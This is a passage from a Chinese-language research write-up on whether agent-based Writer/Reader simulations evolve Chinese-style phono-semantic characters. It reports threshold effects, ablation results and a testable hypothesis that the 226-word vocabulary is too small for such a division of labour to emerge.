同音率 > 0.2（n=6）    平均 +0.494 ± 0.207   t = +5.84   ← 強效應

是門檻，不是斜坡：純門檻模型 R² = 0.775 勝過純線性的 0.730，兩者一起放進模型時只有門檻項活下來。

但門檻之後長出來的不是形聲。隨劑量升高：

字形越來越像在編碼發音，而不是分化成「一半表義、一半表音」。那是拼音化的方向，不是形聲化的方向。

S3：方言壓力讓 Writer 放棄語音路，而不是把它隔離出來

3 種子 × 6 劑量，自變數是湧現的跨子群語音距離 D（0 → 0.556）。

最強的訊號是消融：遮掉語音路造成的損失隨 D 單調下降，在最高劑量甚至變負——那條路已經是純粹的噪音，遮不遮都無所謂。

跨方言壓力不會讓書寫系統重組成形符加聲符，它讓 Writer 逐步、完全地放棄語音通道。形符純度沒有上升，是因為語意路本來就在做全部的工作，沒有東西可以「強化」。

為什麼沒有湧現：一個可檢定的假設

三個階段的結果指向同一件事：系統從來沒有理由「同時」使用兩條通道。它總是選一條——同音壓力下選語音，方言壓力下選語意。

分工要划算，必須有某種力量讓「兩條各做一半」勝過「一條做全部」。本研究的設定裡沒有那種力量，而最可能的缺項是：

詞表太小。 226 個詞、每字 6 筆畫。在這個規模上「背下來」永遠比「發展出系統性」便宜。真實漢字系統面對的是數千字，而可分解性的收益隨詞表規模超線性成長——形符讓你猜出沒學過的字的意思，聲符讓你猜出它的音。那個收益在 226 個詞上幾乎為零。

這個假設可檢定：把詞表放大一個數量級，看雙重分離會不會轉正。成本是標註，不是算力——而那正是目前最貴的資源。

其他候選（依可能性排序）：

• 缺少習得成本。 模型每一代都從零學，學習成本沒有進入損失函數。真實文字系統的壓力有一大塊來自「下一代要學得會」。
• 書寫成本被證實只驅動崩潰，不驅動符號化。 在這個規模上，Reader 只有 15–26% 準確率時，任何筆畫成本都會贏過溝通收益。

這些結論有多硬

老實講：

（附）量到看起來正常，其實在說謊的數字

過程中修掉的量測錯誤，每一個都會給出「看起來合理」的錯誤數字：